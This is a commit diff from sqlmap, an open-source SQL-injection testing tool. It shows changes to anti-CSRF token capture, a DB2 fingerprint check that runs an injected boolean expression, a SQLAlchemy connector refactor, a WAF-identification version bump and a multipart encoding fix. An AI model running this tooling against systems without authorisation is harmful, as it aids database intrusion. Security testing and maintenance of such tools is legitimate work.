if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
token.name = conf.csrfToken
token.value = page
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
for _ in conf.cj:
if re.search(conf.csrfToken, _.name, re.I):
token.name, token.value = _.name, _.value
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
if post:
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
elif get:
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
else:
get = "%s=%s" % (token.name, token.value)
break
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
if match:
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
if not token:
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException(errMsg)
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
token.name = conf.csrfToken
token.value = page
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
for _ in conf.cj:
if re.search(conf.csrfToken, _.name, re.I):
token.name, token.value = _.name, _.value
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
if post:
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
elif get:
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
else:
get = "%s=%s" % (token.name, token.value)
break
if not token:
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException(errMsg)
if token:
token.value = token.value.strip("'\"")

View File

@@ -484,7 +484,7 @@ def vbulletin_passwd(password, salt, **kwargs):
def wordpress_passwd(password, salt, count, prefix, **kwargs):
"""
Reference(s):
http://packetstormsecurity.org/files/74448/phpassbrute.py.txt
https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
http://scriptserver.mainframe8.com/wordpress_password_hasher.php
>>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp')

View File

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import imp
import logging
import os
import re
import sys
import traceback
import warnings
@@ -41,7 +42,12 @@ def getSafeExString(ex, encoding=None): # Cross-referenced function
class SQLAlchemy(GenericConnector):
def __init__(self, dialect=None):
GenericConnector.__init__(self)
self.dialect = dialect
self.address = conf.direct
if self.dialect:
self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address)
def connect(self):
if _sqlalchemy:
@@ -52,18 +58,15 @@ class SQLAlchemy(GenericConnector):
if not os.path.exists(self.db):
raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
_ = conf.direct.split("//", 1)
conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
if self.dialect:
conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1)
_ = self.address.split("//", 1)
self.address = "%s////%s" % (_[0], os.path.abspath(self.db))
if self.dialect == "sqlite":
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False})
elif self.dialect == "oracle":
engine = _sqlalchemy.create_engine(conf.direct)
engine = _sqlalchemy.create_engine(self.address)
else:
engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
engine = _sqlalchemy.create_engine(self.address, connect_args={})
self.connector = engine.connect()
except (TypeError, ValueError):

View File

@@ -97,11 +97,20 @@ class Fingerprint(GenericFingerprint):
logMsg = "confirming %s" % DBMS.DB2
logger.info(logMsg)
version = self._versionCheck()
result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
logger.warn(warnMsg)
return False
version = self._versionCheck()
if version:
Backend.setVersion(version)
setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))
else:
setDbms(DBMS.DB2)
return True
else:

View File

@@ -189,6 +189,9 @@ csrfUrl =
# HTTP method to use during anti-CSRF token page visit.
csrfMethod =
# Retries for anti-CSRF token retrieval.
csrfRetries =
# Force usage of SSL/HTTPS
# Valid: True or False
forceSSL = False

View File

@@ -60,7 +60,7 @@ else:
HTTPCookieProcessor = urllib2.HTTPCookieProcessor
NAME = "identYwaf"
VERSION = "1.0.124"
VERSION = "1.0.127"
BANNER = r"""
` __ __ `
____ ___ ___ ____ ______ `| T T` __ __ ____ _____
@@ -125,7 +125,7 @@ codes = set()
proxies = list()
proxies_index = 0
_exit = exit
_exit = sys.exit
def exit(message=None):
if message:

View File

@@ -23,6 +23,7 @@ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import io
import mimetypes
import os
import re
import stat
import sys
@@ -67,6 +68,14 @@ class MultipartPostHandler(_urllib.request.BaseHandler):
request.add_unredirected_header("Content-Type", contenttype)
request.data = data
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235
if request.data:
for match in re.finditer(b"(?i)\s*-{20,}\w+(\s+Content-Disposition[^\n]+\s+|\-\-\s*)", request.data):
part = match.group(0)
if b'\r' not in part:
request.data = request.data.replace(part, part.replace(b'\n', b"\r\n"))
return request
def multipart_encode(self, vars, files, boundary=None, buf=None):